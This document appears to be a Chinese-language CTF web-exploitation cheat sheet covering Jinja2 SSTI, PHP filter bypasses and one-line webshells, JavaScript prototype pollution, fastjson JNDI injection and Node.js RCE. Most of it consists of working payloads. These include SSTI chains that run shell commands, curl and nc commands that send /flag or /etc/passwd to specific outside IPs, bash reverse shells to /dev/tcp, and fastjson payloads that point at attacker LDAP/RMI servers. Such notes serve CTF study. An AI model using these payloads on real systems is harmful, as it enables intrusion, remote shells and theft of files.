Python模版注入的解题思路就是:通过__class__属性找到基类object,通过__subclasses__()查看object中有哪些类可以利用,一般都是去寻找os类、然后通过__globals__全局来查找所有的方法及变量及参数,通常用到<class 'os._wrap_close'>类的popen方法。

调用链大致如下:

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen'](''cat+/flag').read()}}

执行多行Python语句

具体见P神vulhub的用法:https://github.com/vulhub/vulhub/tree/master/flask/ssti

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

寻找可RCE的类

cnt=0
for item in [].__class__.__base__.__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print cnt,item
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

第二种

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
    try:
        cnt2=0
        for i in item.__init__.__globals__:
            if 'eval' in item.__init__.__globals__[i]:
                print cnt,item,cnt2,i
            cnt2+=1
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

过滤bypass

过滤了下划线可以考虑用动态传参绕过

name={{request[request.args.param]}}&param=__class__

过滤中括号可以直接用”.”来代替属性,圆括号代替下标选择

{{""|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.ini)|attr(request.args.glo)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&ini=__init__&glo=__globals__

过滤了双引号或者点号,可以用|来绕过,|是过滤器
image_1dnp4tbpur791ed1agc189d14cp.png-91.2kB

相关链接

flask之ssti模版注入从零到入门

很详细的一篇文章:SSTI/沙盒逃逸详细总结

从SSTI到沙箱逃逸-jinja2

Python沙箱逃逸与模板注入SSTI

模板设计者文档

文件包含

php伪协议

  • php://input
    image_1d83kt9ffd621pod1p0o62e125m.png-121kB

  • php://filter

    file=php://filter/read=convert.base64-encode/resource=index.php
  • phar://
    image_1d83liset16qc1k5e1bva4j3a7f1t.png-107.3kB

命令执行类

常识

获取flag文件并用Curl协议外带到自己的vps

curl 'http://50.16.48.95/' data "`cat+/flag.txt`"
curl -T ./flag.txt http://50.16.48.95/

命令执行Bypass

base64编码

image_1dpcjfim7tn1jc6eo7vsdr6i9.png-92.2kB

过滤关键字

ca\t /f\lag

双引号&分号–复杂变量

PHP复杂变量:https://xz.aliyun.com/t/4785

${system(whoami)}

image_1dcp3bus82rs1ugp15ij1l75121e9.png-79.6kB

单参数过滤-用http头传参绕过

nginx、apache中都可以用get_defined_vars(),但是apche还可以用getallheaders()

eval(next(current(get_defined_vars())));&b=var_dump(file_get_contents('/flag'));

还可以对session进行操作来绕过检测

eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b

hash长度拓展

已知md5($key.xxx)的一个值,还知道$key的长度,就可以构造任意md5($key.xxx)

Javascript原型链污染

骚操作-preventExtensions绕过

image_1drfesanc17521a6ipu112avoua9.png-159.7kB

Javascript原型链知识

实例对象的 __proto__与创建该实例对象的构造函数的 prototype 是相等的

function Cat() {
    this.color = 'orange'
}

var cat = new Cat()

console.log(cat.__proto__ === Cat.prototype)   // true

image_1dma6rinf3k4lvv13cfj0l15fo9.png-53.4kB

在 JavaScript 中,如果想访问某个属性,首先会在实例对象(cat)的内部寻找,如果没找到,就会在该对象的原型(cat.__proto__,即 Cat.prototype)上找,我们知道,对象的原型也是对象,它也有原型,如果在对象的原型上也没有找到目标属性,则会在对象的原型的原型(Cat.prototype.__proto__)上寻找,以此内推,直到找到这个属性或者到达了最顶层。在原型上一层一层寻找,这便就是原型链了。

实例对象原型的原型是Object.prototype,而它的原型是null,null 没有原型,所以 Object.prototype 就是原型链的最顶端。

constructor-构造函数

javascript需要有一个像经典语言那样的能够创建对象模板的方法,可以根据模板自动化的创建我们需要的对象。JavaScript 用一种称为构建函数的特殊函数来定义对象和它们的特征。构建函数提供了创建您所需对象(实例)的有效方法,将对象的数据和特征函数按需联结至相应对象

一个例子如下:

function Person(name) {
  this.name = name;
  this.greeting = function() {
    alert('Hi! I\'m ' + this.name + '.');
  };
}

这个构建函数是 JavaScript 版本的类,这里使用了this关键词,指向这个构建函数创建的示例自身,而非指向构建函数(这跟其他面向对象语言中的this的含义一样)

一个构建函数通常是大写字母开头,这样便于区分构建函数和普通函数

每一个数据类型都有一个属性叫做constructor,指的就是自身的构造函数

image_1dtbe0q5qtkp1rldgr413l11a159.png-10.3kB

prototype-原型

可以把prototype看作类/方法/各种原始数据类型(这里统称为A)中的一个属性(画重点),而所有用A类/方法/各种原始数据类型,得到的实例化的对象,都将拥有这个属性(prototype)中的所有内容

对于Object/Arrary/Function这三类数据类型来说,都有自己最原始的prototype。

image_1dtbcvmil4nv6me1ndtgo21miap.png-709.6kB

而所有的数据类型,最终的原型(prototype)都是Object.prototype,你也可以理解为数组/函数/xxx/这些数据类型都继承自类的原型,类是爸爸级别的。

Array/Function.prototype.__proto__ == Object.prototype
>true

proto

这个就很简单了,每个数据类型里都有一个__proto__属性,指向自己的原型prototype

污染思路

大部分原型链污染的题目就是利用某个对象的__proto__去向上指定原型,一直找到Object,一旦可以污染到Object的xxx属性,就可以修改任何对象的xxx属性。

如果是一个已经被定义的变量,它无法被原型链污染。

这里举一个Array.prototype被污染的情况如下:
image_1dma76hhhtag18hj2ku1s43st3m.png-28.6kB

loadsh库<4.17.5的污染

payload如下

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})['a0'] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

这个payload就相当于污染了Object.prototype.a0属性
image_1dtben43n1ab92ab1bml19k1hvlm.png-21.9kB

JQuery-$.extend()

JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358, 版本小于3.4.0时

image_1dtbf900dc9g109k1iev8ebfm41j.png-11.6kB

可以看到,$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}')) Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。

ejs和jade的RCE

都是在exports.compile,即编译模版时候产生的代码注入

以jade模版为例,首先通过parse()函数获取一个变量作为函数内容,之后呢把它赋值到fn中,通过建立一个构造方法Function把fn数组重新赋值为一个新的函数体fn,之后调用return fn来动态执行原来fn中的字符串(相当于一个编译过程)

所以只要fn中存在恶意代码就可以在创建构造函数的时候把代码执行了
image_1dtbhnc4t1eju1pi875c16a3d5d20.png-217.7kB

所以跟进parse找污染点。一步一步入栈,栈的最深处visit函数存在原型链污染点,line默认未定义,只要污染line为:));global.process.mainModule.require('child_process').execSy nc('nc vps -e /bin/sh');//即可

image_1dtbhutuu7ug14iog7t12b6hh32t.png-119.9kB

关于ejs的RCE+污染点分析,见:

Express+lodash+ejs: 从原型链污染到RCE

XNUCA2019 Hardjs题解 从原型链污染到RCE

不需要原型链污染的ejs-rce

前提是将req.body作为ejs渲染的参数,因为express存在hpp,所以这样就相当于污染了options,从而污染一个options.settings,这样就不需要原型链。。不过一般没有那个sb会这样写ejs的渲染出了ctfer

image_1dvm51g2cbdhepm121j1jl1eoj3p.png-15.4kB

详情见国外的一道ctf:https://github.com/CykuTW/My-CTF-Challenges/tree/master/AIS3-EOF-CTF-2019-Quals/echo

express框架

express框架存在hpp,也就是说传入这样的参数

aa[name]=hpdoger

会被解析成为对象{aa:{name:"hpdoger"}},这是因为express原生处理请求使用的是qs模块,而qs模块不存在原型链污染的问题,所以不能污染_proto_

Javaweb

反弹SHELL

Runtime.getRuntime().exec()是Java中执行系统命令的方法,该接口中不能使用管道符等bash需要的方法,需要对bash进行一次编码:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/10.0.0.1/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

fastjson攻击

看这个,原理分析的很到位:fastjson 1.2.61远程代码执行漏洞分析&复现

具体的一个例子参见空指针wp:空指针-treasure-Writeup

攻击的两种方式

1、jdk低版本,允许加载远程恶意类

攻击者在服务端用marshalsec起一个rmi/ldap的server,用来接收受害者请求并且转发到我们自己构造的http服务,下载&加载恶意类(用来RCE的类),例子在:FastJson 反序列化漏洞利用笔记

然后发送一个fastjson的poc到我们的rmi/ldap server就行了
fastjson-1.2.61-RCE

2、jdk高版本,需要找到另外库的反序列化链来用

188以后的版本,不允许加载远程的恶意类,也就是说请求不到我们http-server下面放置的恶意类。此时有两种方法:

1.用ldap+本地gadget来bypass:如何绕过高版本JDK的限制进行JNDI注入利用

2.用jrmp+rmi来bypass:攻击者用yso本地建立一个rmi-server,然后利用其他依赖的反序列化中继,具体用法见:空指针-treasure-Writeup
image_1dtl011jf1tdlnpnvd9jmg1nvh2p.png-24.7kB

挖洞利用

遇到传输格式是json的,就可以本地nc监听一个端口1389看有没有收到请求,用poc去打一下,推荐用1.2.61的poc去打,这个比较接近于最新版

{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://120.79.152.66:1389/ExportObject"}

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://120.79.152.66:1389/Object","autoCommit":true}

{"@type":"ch.qos.logback.core.db.DriverManagerConnectionSource", "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://120.79.152.66:1389/inject.sql'"}

NodeJS相关

快速启动express框架

全局安装expressnpm install express -gd

直接用express project就能启动项目

image_1dus0g9591jm238q1tgd14cu2cl9.png-435.1kB

npm所有第三方库漏洞

https://snyk.io/vuln/?type=npm

基本语法

占位符

> var test = 'hpdoger';

> var cookie = `aaa${test}`;

> console.log(cookie);
aaahpdoger

url_parse绕过

对于白名单的绕过,又有新洞了,针对url_parse()函数:Hostname spoofing

查看依赖的漏洞

拿到一个nodejs项目的源码进行审计,第一步便是运行npm audit ,可以看到依赖项的漏洞情况。在项目的文件夹下直接运行npm audit就行了

RCE语句

require('child_process').exec('cat+/etc/passwd+|+nc+120.79.152.66+80')

nodemon-node的debug模式

综合题型

http请求走私

image_1dr102gapo981svc1e4f1s7qo509.png-379.6kB

jwt攻击

https://xz.aliyun.com/t/6776#toc-8

python-rce

eval("__import__('os').system('whoami')")

MYSQL读取客户端文件

如果对方能够连接任意mysql用户,我们就可以伪造一个server去读取客户端的文件

Rogue-MySql-Server:https://github.com/Gifts/Rogue-MySql-Server

1、有一个更智能的脚本:https://github.com/lcark/MysqlClientAttack

2、针对ctf的脚本:https://github.com/ev0A/Mysqlist

进程文件proc

proc是一个文件夹,每个进程都代表一个文件夹

常见的进程文件


/proc/self 链接到当前正在运行的进程

/proc/N/cwd 链接到进程当前工作目录

如果是通过小马执行的程序,那么当前进程就是apache,组合一下self/cwd:
proc/self/cwd/     =>apache的工作目录

proc/pid/cmdline   =>里面存储某个进程初始运行的命令,即启动时传递给kernel的参数信息

常见的过滤bypass

php一句话

绕过尖括号

这种必须能修改.htaccess或者.user.ini文件,为每个文件包含一个php伪协议

利用方式:https://xz.aliyun.com/t/3937#toc-3

绕过问号限制

php小于7.0的可以通过

<script language="PHP">system($_GET[id])</script>

绕过php标签限制

或者使用短标签

<?=eval($_GET[1]);?>

动态执行函数

1、没有过滤括号
$_GET[1]($_GET[0]);

2、过滤了括号的时候可以用大括号,但是php版本有要求,不过phpstudy没试出来
$_GET{1}($_GET{0});

代码执行

异或getshell

一道题回顾php异或webshell

取反getshell

无字母数字webshell之提高篇

image_1dn25ak6j4qopumrdjtv8mic9.png-117.8kB

生成规则:

var_dump(urlencode(~'phpinfo'));

=>%8F%97%8F%96%91%99%90
not found!